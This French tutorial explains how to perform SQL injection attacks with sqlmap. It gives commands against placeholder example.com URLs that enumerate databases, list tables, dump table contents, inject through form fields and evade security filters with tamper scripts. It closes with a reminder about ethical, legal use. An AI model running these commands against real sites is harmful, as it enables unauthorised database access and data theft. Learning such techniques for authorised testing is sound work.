Introduction
Ce tutoriel explique comment effectuer une attaque par injection SQL pour exploiter des vulnérabilités dans les applications web. L'injection SQL est une technique qui permet d'exécuter des commandes SQL malveillantes sur une base de données via une application web. Nous utiliserons l'outil sqlmap
pour automatiser ce processus.
Étape 1: Comprendre les Injections SQL
Les injections SQL exploitent les failles de sécurité dans les applications web pour exécuter des commandes SQL non prévues. Cela peut permettre aux attaquants de lire, modifier ou supprimer des données dans une base de données. Les failles se trouvent souvent dans les champs de saisie d'un formulaire, les paramètres d'URL, ou les cookies.
Étape 2: Installation de sqlmap
Mettez à jour votre système et installez sqlmap
:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get install sqlmap
Étape 3: Identification des Vulnérabilités
Utilisez sqlmap
pour détecter les vulnérabilités SQL sur une URL cible :
sqlmap -u "http://example.com/vuln_page.php?id=1" --dbs
Cette commande teste la vulnérabilité SQL et affiche les bases de données disponibles si une faille est trouvée.
Étape 4: Exploitation des Vulnérabilités
Une fois une vulnérabilité détectée, utilisez sqlmap
pour l'exploiter. Par exemple, pour lister les tables d'une base de données spécifique :
sqlmap -u "http://example.com/vuln_page.php?id=1" -D database_name --tables
Pour extraire les données d'une table :
sqlmap -u "http://example.com/vuln_page.php?id=1" -D database_name -T table_name --dump
Techniques Avancées d'Injection SQL
Pour contourner les filtres de sécurité, vous pouvez utiliser des tamper scripts et des options avancées de sqlmap
:
sqlmap -u "http://example.com/vuln_page.php?id=1" --random-agent --tamper="space2comment"
Cela utilise un agent utilisateur aléatoire et un script de tamper pour échapper aux filtres de sécurité.
Exemples Pratiques
Voici trois exemples pratiques pour illustrer l'utilisation de sqlmap
dans des scénarios d'injection SQL :
Exemple 1: Extraction de Données d'Utilisateur
Utilisez sqlmap
pour extraire les informations d'utilisateur d'une application web vulnérable :
sqlmap -u "http://example.com/login.php?user=1" --dbs
Exemple 2: Contournement de Filtre de Sécurité
Utilisez des tamper scripts pour contourner les filtres de sécurité :
sqlmap -u "http://example.com/search.php?q=1" --tamper="charencode,space2comment"
Exemple 3: Injection SQL dans des Champs de Formulaire
Utilisez sqlmap
pour injecter des commandes SQL dans des champs de formulaire :
sqlmap -u "http://example.com/contact.php" --data="name=1&email=test@example.com" --dbs
Conclusion
Ce tutoriel vous a montré comment effectuer une attaque par injection SQL en utilisant sqlmap
. Rappelez-vous, ces informations doivent être utilisées de manière éthique et légale. L'objectif est de sensibiliser aux dangers des injections SQL et de renforcer la sécurité des applications web.